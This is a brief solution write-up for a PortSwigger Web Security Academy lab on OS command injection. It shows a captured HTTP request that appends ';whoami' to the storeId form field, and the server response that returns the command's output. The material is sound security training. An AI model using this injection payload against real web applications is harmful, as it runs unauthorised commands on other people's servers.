Port Swigger OS command injection, simple case
OS command injection, simple case
Solution
Open the website: https://0a6200cf04c0d361805aee99003600fc.web-security-academy.net/product?productId=1
https://0a6200cf04c0d361805aee99003600fc.web-security-academy.net/product?productId=1
POST /product/stock HTTP/2
Host: 0a6200cf04c0d361805aee99003600fc.web-security-academy.net
Cookie: session=G5Iim8RbJu0mt402xd7Oujan1McGGUQ8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a6200cf04c0d361805aee99003600fc.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://0a6200cf04c0d361805aee99003600fc.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
productId=1&storeId=1;whoami
---
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 16
62
peter-5nJJ0W
Solved